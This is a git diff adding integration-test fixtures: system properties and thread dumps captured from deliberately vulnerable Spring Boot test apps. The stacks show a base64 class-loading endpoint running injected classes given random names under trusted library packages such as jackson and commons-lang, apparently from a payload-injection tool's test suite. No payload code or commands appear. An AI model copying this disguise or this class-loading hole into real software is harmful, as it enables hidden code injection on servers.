[TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at org.apache.coyote.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1291) + at java.lang.Thread.run(Thread.java:750) + +"Catalina-startStop-1" #14 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7d106520 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8080-exec-7" #25 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.lang.Thread.dumpThreads(Native Method) + at java.lang.Thread.getAllStackTraces(Thread.java:1615) + at org.apache.commons.lang.hZTWE.ErrorHandler.toString(BasicInfoPrinter.java:26) + at com.reajason.javaweb.vul.springboot2.controller.Base64ClassLoaderController.base64ClassLoader(Base64ClassLoaderController.java:20) + at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) + at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) + at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) + at java.lang.reflect.Method.invoke(Method.java:498) + at org.springframework.web.method.support.InvocableHandlerMethod.doInvoke(InvocableHandlerMethod.java:205) + at org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHandlerMethod.java:150) + at org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle(ServletInvocableHandlerMethod.java:117) + at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandlerMethod(RequestMappingHandlerAdapter.java:895) + at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInternal(RequestMappingHandlerAdapter.java:808) + at org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandlerMethodAdapter.java:87) + at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:1071) + at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:964) + at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:1006) + at org.springframework.web.servlet.FrameworkServlet.doPost(FrameworkServlet.java:909) + at javax.servlet.http.HttpServlet.service(HttpServlet.java:515) + at org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:883) + at javax.servlet.http.HttpServlet.service(HttpServlet.java:583) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:212) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:156) + at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:51) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:181) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:156) + at org.springframework.web.filter.RequestContextFilter.doFilterInternal(RequestContextFilter.java:100) + at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:181) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:156) + at org.springframework.web.filter.FormContentFilter.doFilterInternal(FormContentFilter.java:93) + at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:181) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:156) + at org.springframework.boot.web.servlet.support.ErrorPageFilter.doFilter(ErrorPageFilter.java:126) + at org.springframework.boot.web.servlet.support.ErrorPageFilter.access$000(ErrorPageFilter.java:64) + at org.springframework.boot.web.servlet.support.ErrorPageFilter$1.doFilterInternal(ErrorPageFilter.java:101) + at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117) + at org.springframework.boot.web.servlet.support.ErrorPageFilter.doFilter(ErrorPageFilter.java:119) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:181) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:156) + at org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal(CharacterEncodingFilter.java:201) + at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:181) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:156) + at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:168) + at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:90) + at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:483) + at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:130) + at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:93) + at org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:679) + at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:74) + at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:346) + at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:617) + at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:63) + at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:934) + at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1690) + at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:52) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1191) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63) + at java.lang.Thread.run(Thread.java:750) + + +=========================================== + +StackClassNames: +com.reajason.javaweb.vul.springboot2.controller.Base64ClassLoaderController +org.apache.catalina.authenticator.AuthenticatorBase +org.apache.catalina.connector.CoyoteAdapter +org.apache.catalina.core.ApplicationFilterChain +org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor +org.apache.catalina.core.StandardContextValve +org.apache.catalina.core.StandardEngineValve +org.apache.catalina.core.StandardHostValve +org.apache.catalina.core.StandardServer +org.apache.catalina.core.StandardWrapperValve +org.apache.catalina.startup.Bootstrap +org.apache.catalina.startup.Catalina +org.apache.catalina.valves.AbstractAccessLogValve +org.apache.catalina.valves.ErrorReportValve +org.apache.commons.lang.hZTWE.ErrorHandler +org.apache.coyote.AbstractProcessorLight +org.apache.coyote.AbstractProtocol$AsyncTimeout +org.apache.coyote.AbstractProtocol$ConnectionHandler +org.apache.coyote.http11.Http11Processor +org.apache.tomcat.util.net.Acceptor +org.apache.tomcat.util.net.NioEndpoint +org.apache.tomcat.util.net.NioEndpoint$Poller +org.apache.tomcat.util.net.NioEndpoint$SocketProcessor +org.apache.tomcat.util.net.SocketProcessorBase +org.apache.tomcat.util.threads.TaskQueue +org.apache.tomcat.util.threads.TaskThread$WrappingRunnable +org.apache.tomcat.util.threads.ThreadPoolExecutor +org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker +org.apache.tomcat.websocket.server.WsFilter +org.springframework.boot.web.servlet.support.ErrorPageFilter +org.springframework.boot.web.servlet.support.ErrorPageFilter$1 +org.springframework.web.filter.CharacterEncodingFilter +org.springframework.web.filter.FormContentFilter +org.springframework.web.filter.OncePerRequestFilter +org.springframework.web.filter.RequestContextFilter +org.springframework.web.method.support.InvocableHandlerMethod +org.springframework.web.servlet.DispatcherServlet +org.springframework.web.servlet.FrameworkServlet +org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter +org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter +org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod diff --git a/integration-test/src/test/resources/infos/SpringBoot2WebFluxContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/SpringBoot2WebFluxContainerTestBasicInfo.txt new file mode 100644 index 00000000..05053b80 --- /dev/null +++ b/integration-test/src/test/resources/infos/SpringBoot2WebFluxContainerTestBasicInfo.txt @@ -0,0 +1,262 @@ +# Generated At 2025-08-10 15:00:05 +SystemProps: +java.runtime.name: OpenJDK Runtime Environment +java.protocol.handler.pkgs: org.springframework.boot.loader +sun.boot.library.path: /usr/local/openjdk-8/jre/lib/aarch64 +java.vm.version: 25.342-b07 +java.vm.vendor: Oracle Corporation +java.vendor.url: http://java.oracle.com/ +path.separator: : +java.vm.name: OpenJDK 64-Bit Server VM +file.encoding.pkg: sun.io +sun.java.launcher: SUN_STANDARD +sun.os.patch.level: unknown +PID: 7 +java.vm.specification.name: Java Virtual Machine Specification +user.dir: /app +java.runtime.version: 1.8.0_342-b07 +java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment +java.endorsed.dirs: /usr/local/openjdk-8/jre/lib/endorsed +os.arch: aarch64 +CONSOLE_LOG_CHARSET: UTF-8 +java.io.tmpdir: /tmp +line.separator: + +java.vm.specification.vendor: Oracle Corporation +os.name: Linux +FILE_LOG_CHARSET: UTF-8 +sun.jnu.encoding: UTF-8 +spring.beaninfo.ignore: true +java.library.path: /usr/java/packages/lib/aarch64:/lib:/usr/lib +java.specification.name: Java Platform API Specification +java.class.version: 52.0 +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +os.version: 6.14.10-orbstack-00291-g1b252bd3edea +user.home: /root +user.timezone: Etc/UTC +java.awt.printerjob: sun.print.PSPrinterJob +file.encoding: UTF-8 +java.specification.version: 1.8 +java.class.path: vul-springboot2-webflux.jar +user.name: root +java.vm.specification.version: 1.8 +sun.java.command: vul-springboot2-webflux.jar +java.home: /usr/local/openjdk-8/jre +sun.arch.data.model: 64 +user.language: en +java.specification.vendor: Oracle Corporation +awt.toolkit: sun.awt.X11.XToolkit +java.vm.info: mixed mode +java.version: 1.8.0_342 +java.ext.dirs: /usr/local/openjdk-8/jre/lib/ext:/usr/java/packages/lib/ext +sun.boot.class.path: /usr/local/openjdk-8/jre/lib/resources.jar:/usr/local/openjdk-8/jre/lib/rt.jar:/usr/local/openjdk-8/jre/lib/sunrsasign.jar:/usr/local/openjdk-8/jre/lib/jsse.jar:/usr/local/openjdk-8/jre/lib/jce.jar:/usr/local/openjdk-8/jre/lib/charsets.jar:/usr/local/openjdk-8/jre/lib/jfr.jar:/usr/local/openjdk-8/jre/classes +java.awt.headless: true +java.vendor: Oracle Corporation +file.separator: / +java.vendor.url.bug: http://bugreport.sun.com/bugreport/ +sun.io.unicode.encoding: UnicodeLittle +sun.cpu.endian: little +sun.cpu.isalist: + +=========================================== + +ThreadStacks: +"boundedElastic-evictor-1" #14 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2e008064 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"reactor-http-nio-2" #18 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at io.netty.channel.nio.SelectedSelectionKeySetSelector.select(SelectedSelectionKeySetSelector.java:68) + at io.netty.channel.nio.NioEventLoop.select(NioEventLoop.java:879) + at io.netty.channel.nio.NioEventLoop.run(NioEventLoop.java:526) + at io.netty.util.concurrent.SingleThreadEventExecutor$4.run(SingleThreadEventExecutor.java:997) + at io.netty.util.internal.ThreadExecutorMap$2.run(ThreadExecutorMap.java:74) + at io.netty.util.concurrent.FastThreadLocalRunnable.run(FastThreadLocalRunnable.java:30) + at java.lang.Thread.run(Thread.java:750) + +"reactor-http-nio-3" #19 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at io.netty.channel.nio.SelectedSelectionKeySetSelector.select(SelectedSelectionKeySetSelector.java:68) + at io.netty.channel.nio.NioEventLoop.select(NioEventLoop.java:879) + at io.netty.channel.nio.NioEventLoop.run(NioEventLoop.java:526) + at io.netty.util.concurrent.SingleThreadEventExecutor$4.run(SingleThreadEventExecutor.java:997) + at io.netty.util.internal.ThreadExecutorMap$2.run(ThreadExecutorMap.java:74) + at io.netty.util.concurrent.FastThreadLocalRunnable.run(FastThreadLocalRunnable.java:30) + at java.lang.Thread.run(Thread.java:750) + +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@4df5bb3c + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165) + at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:216) + +"Reference Handler" #2 daemon [BLOCKED] + java.lang.Thread.State: BLOCKED + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.lang.ref.Reference.tryHandlePending(Reference.java:191) + at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153) + +"reactor-http-nio-4" #20 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at io.netty.channel.nio.SelectedSelectionKeySetSelector.select(SelectedSelectionKeySetSelector.java:68) + at io.netty.channel.nio.NioEventLoop.select(NioEventLoop.java:879) + at io.netty.channel.nio.NioEventLoop.run(NioEventLoop.java:526) + at io.netty.util.concurrent.SingleThreadEventExecutor$4.run(SingleThreadEventExecutor.java:997) + at io.netty.util.internal.ThreadExecutorMap$2.run(ThreadExecutorMap.java:74) + at io.netty.util.concurrent.FastThreadLocalRunnable.run(FastThreadLocalRunnable.java:30) + at java.lang.Thread.run(Thread.java:750) + +"DestroyJavaVM" #17 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"server" #16 [WAITING] on java.util.concurrent.CountDownLatch$Sync@7ffa4241 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer.parkAndCheckInterrupt(AbstractQueuedSynchronizer.java:836) + at java.util.concurrent.locks.AbstractQueuedSynchronizer.doAcquireSharedInterruptibly(AbstractQueuedSynchronizer.java:997) + at java.util.concurrent.locks.AbstractQueuedSynchronizer.acquireSharedInterruptibly(AbstractQueuedSynchronizer.java:1304) + at java.util.concurrent.CountDownLatch.await(CountDownLatch.java:231) + at reactor.core.publisher.BlockingSingleSubscriber.blockingGet(BlockingSingleSubscriber.java:87) + at reactor.core.publisher.Mono.block(Mono.java:1742) + at org.springframework.boot.web.embedded.netty.NettyWebServer$1.run(NettyWebServer.java:180) + +"reactor-http-nio-5" #21 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.lang.Thread.dumpThreads(Native Method) + at java.lang.Thread.getAllStackTraces(Thread.java:1615) + at com.fasterxml.jackson.aMrXt.ErrorHandler.toString(BasicInfoPrinter.java:26) + at com.reajason.javaweb.vul.springboot2.controller.Base64ClassLoaderController.lambda$handleFormSubmission$0(Base64ClassLoaderController.java:31) + at com.reajason.javaweb.vul.springboot2.controller.Base64ClassLoaderController$$Lambda$662/184615801.apply(Unknown Source) + at reactor.core.publisher.MonoFlatMap$FlatMapMain.onNext(MonoFlatMap.java:125) + at reactor.core.publisher.Operators$MonoSubscriber.complete(Operators.java:1802) + at reactor.core.publisher.MonoCacheTime$CoordinatorSubscriber.signalCached(MonoCacheTime.java:337) + at reactor.core.publisher.MonoCacheTime$CoordinatorSubscriber.onNext(MonoCacheTime.java:354) + at reactor.core.publisher.FluxSwitchIfEmpty$SwitchIfEmptySubscriber.onNext(FluxSwitchIfEmpty.java:74) + at reactor.core.publisher.FluxMapFuseable$MapFuseableSubscriber.onNext(FluxMapFuseable.java:129) + at reactor.core.publisher.FluxContextWrite$ContextWriteSubscriber.onNext(FluxContextWrite.java:107) + at reactor.core.publisher.FluxMapFuseable$MapFuseableConditionalSubscriber.onNext(FluxMapFuseable.java:299) + at reactor.core.publisher.FluxFilterFuseable$FilterFuseableConditionalSubscriber.onNext(FluxFilterFuseable.java:337) + at reactor.core.publisher.Operators$MonoSubscriber.complete(Operators.java:1802) + at reactor.core.publisher.MonoCollect$CollectSubscriber.onComplete(MonoCollect.java:160) + at reactor.core.publisher.FluxMap$MapSubscriber.onComplete(FluxMap.java:144) + at reactor.core.publisher.FluxPeek$PeekSubscriber.onComplete(FluxPeek.java:260) + at reactor.core.publisher.FluxMap$MapSubscriber.onComplete(FluxMap.java:144) + at reactor.netty.channel.FluxReceive.onInboundComplete(FluxReceive.java:413) + at reactor.netty.channel.ChannelOperations.onInboundComplete(ChannelOperations.java:419) + at reactor.netty.http.server.HttpServerOperations.onInboundNext(HttpServerOperations.java:603) + at reactor.netty.channel.ChannelOperationsHandler.channelRead(ChannelOperationsHandler.java:113) + at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:444) + at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420) + at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:412) + at reactor.netty.http.server.HttpTrafficHandler.channelRead(HttpTrafficHandler.java:269) + at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:442) + at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420) + at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:412) + at io.netty.channel.CombinedChannelDuplexHandler$DelegatingChannelHandlerContext.fireChannelRead(CombinedChannelDuplexHandler.java:436) + at io.netty.handler.codec.ByteToMessageDecoder.fireChannelRead(ByteToMessageDecoder.java:346) + at io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:318) + at io.netty.channel.CombinedChannelDuplexHandler.channelRead(CombinedChannelDuplexHandler.java:251) + at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:442) + at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420) + at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:412) + at io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1410) + at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:440) + at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420) + at io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:919) + at io.netty.channel.nio.AbstractNioByteChannel$NioByteUnsafe.read(AbstractNioByteChannel.java:166) + at io.netty.channel.nio.NioEventLoop.processSelectedKey(NioEventLoop.java:788) + at io.netty.channel.nio.NioEventLoop.processSelectedKeysOptimized(NioEventLoop.java:724) + at io.netty.channel.nio.NioEventLoop.processSelectedKeys(NioEventLoop.java:650) + at io.netty.channel.nio.NioEventLoop.run(NioEventLoop.java:562) + at io.netty.util.concurrent.SingleThreadEventExecutor$4.run(SingleThreadEventExecutor.java:997) + at io.netty.util.internal.ThreadExecutorMap$2.run(ThreadExecutorMap.java:74) + at io.netty.util.concurrent.FastThreadLocalRunnable.run(FastThreadLocalRunnable.java:30) + at java.lang.Thread.run(Thread.java:750) + +"Signal Dispatcher" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"reactor-http-nio-1" #15 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at io.netty.channel.nio.SelectedSelectionKeySetSelector.select(SelectedSelectionKeySetSelector.java:68) + at io.netty.channel.nio.NioEventLoop.select(NioEventLoop.java:879) + at io.netty.channel.nio.NioEventLoop.run(NioEventLoop.java:526) + at io.netty.util.concurrent.SingleThreadEventExecutor$4.run(SingleThreadEventExecutor.java:997) + at io.netty.util.internal.ThreadExecutorMap$2.run(ThreadExecutorMap.java:74) + at io.netty.util.concurrent.FastThreadLocalRunnable.run(FastThreadLocalRunnable.java:30) + at java.lang.Thread.run(Thread.java:750) + + +=========================================== + +StackClassNames: +com.fasterxml.jackson.aMrXt.ErrorHandler +com.reajason.javaweb.vul.springboot2.controller.Base64ClassLoaderController +com.reajason.javaweb.vul.springboot2.controller.Base64ClassLoaderController$$Lambda$662/184615801 +io.netty.channel.AbstractChannelHandlerContext +io.netty.channel.CombinedChannelDuplexHandler +io.netty.channel.CombinedChannelDuplexHandler$DelegatingChannelHandlerContext +io.netty.channel.DefaultChannelPipeline +io.netty.channel.DefaultChannelPipeline$HeadContext +io.netty.channel.nio.AbstractNioByteChannel$NioByteUnsafe +io.netty.channel.nio.NioEventLoop +io.netty.channel.nio.SelectedSelectionKeySetSelector +io.netty.handler.codec.ByteToMessageDecoder +io.netty.util.concurrent.FastThreadLocalRunnable +io.netty.util.concurrent.SingleThreadEventExecutor$4 +io.netty.util.internal.ThreadExecutorMap$2 +org.springframework.boot.web.embedded.netty.NettyWebServer$1 +reactor.core.publisher.BlockingSingleSubscriber +reactor.core.publisher.FluxContextWrite$ContextWriteSubscriber +reactor.core.publisher.FluxFilterFuseable$FilterFuseableConditionalSubscriber +reactor.core.publisher.FluxMap$MapSubscriber +reactor.core.publisher.FluxMapFuseable$MapFuseableConditionalSubscriber +reactor.core.publisher.FluxMapFuseable$MapFuseableSubscriber +reactor.core.publisher.FluxPeek$PeekSubscriber +reactor.core.publisher.FluxSwitchIfEmpty$SwitchIfEmptySubscriber +reactor.core.publisher.Mono +reactor.core.publisher.MonoCacheTime$CoordinatorSubscriber +reactor.core.publisher.MonoCollect$CollectSubscriber +reactor.core.publisher.MonoFlatMap$FlatMapMain +reactor.core.publisher.Operators$MonoSubscriber +reactor.netty.channel.ChannelOperations +reactor.netty.channel.ChannelOperationsHandler +reactor.netty.channel.FluxReceive +reactor.netty.http.server.HttpServerOperations +reactor.netty.http.server.HttpTrafficHandler diff --git a/integration-test/src/test/resources/infos/SpringBoot3ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/SpringBoot3ContainerTestBasicInfo.txt new file mode 100644 index 00000000..cae29b6e --- /dev/null +++ b/integration-test/src/test/resources/infos/SpringBoot3ContainerTestBasicInfo.txt @@ -0,0 +1,403 @@ +# Generated At 2025-08-10 15:00:40 +SystemProps: +java.specification.version: 17 +sun.jnu.encoding: UTF-8 +java.class.path: app.jar +java.vm.vendor: Oracle Corporation +sun.arch.data.model: 64 +java.vendor.url: https://java.oracle.com/ +catalina.useNaming: false +user.timezone: UTC +java.vm.specification.version: 17 +os.name: Linux +sun.java.launcher: SUN_STANDARD +sun.boot.library.path: /usr/java/openjdk-17/lib +sun.java.command: app.jar +jdk.debug: release +sun.cpu.endian: little +user.home: /root +user.language: en +java.specification.vendor: Oracle Corporation +java.version.date: 2022-01-18 +java.home: /usr/java/openjdk-17 +file.separator: / +java.vm.compressedOopsMode: Zero based +line.separator: + +java.specification.name: Java Platform API Specification +java.vm.specification.vendor: Oracle Corporation +FILE_LOG_CHARSET: UTF-8 +java.awt.headless: true +java.protocol.handler.pkgs: org.springframework.boot.loader.net.protocol +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +java.runtime.version: 17.0.2+8-86 +user.name: root +path.separator: : +os.version: 6.14.10-orbstack-00291-g1b252bd3edea +java.runtime.name: OpenJDK Runtime Environment +file.encoding: UTF-8 +java.vm.name: OpenJDK 64-Bit Server VM +java.vendor.url.bug: https://bugreport.java.com/bugreport/ +java.io.tmpdir: /tmp +catalina.home: /tmp/tomcat.8080.14397547403580065037 +java.version: 17.0.2 +user.dir: /app +os.arch: aarch64 +java.vm.specification.name: Java Virtual Machine Specification +PID: 1 +CONSOLE_LOG_CHARSET: UTF-8 +catalina.base: /tmp/tomcat.8080.14397547403580065037 +native.encoding: UTF-8 +java.library.path: /usr/java/packages/lib:/usr/lib64:/lib64:/lib:/usr/lib +java.vm.info: mixed mode, sharing +java.vendor: Oracle Corporation +java.vm.version: 17.0.2+8-86 +sun.io.unicode.encoding: UnicodeLittle +java.class.version: 61.0 +LOGGED_APPLICATION_NAME: [vul-springboot3] + +=========================================== + +ThreadStacks: +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@10576f38 + java.lang.Thread.State: WAITING + at java.base@17.0.2/java.lang.Object.wait(Native Method) + at java.base@17.0.2/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.base@17.0.2/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:176) + at java.base@17.0.2/java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:172) + +"Cleaner-0" #14 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@c6af9f5 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.2/java.lang.Object.wait(Native Method) + at java.base@17.0.2/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.base@17.0.2/jdk.internal.ref.CleanerImpl.run(CleanerImpl.java:140) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + at java.base@17.0.2/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:162) + +"http-nio-8080-exec-10" #31 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2b2df9a1 + java.lang.Thread.State: WAITING + at java.base@17.0.2/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.2/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.2/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.2/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3463) + at java.base@17.0.2/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3434) + at java.base@17.0.2/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1623) + at java.base@17.0.2/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:117) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1175) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + 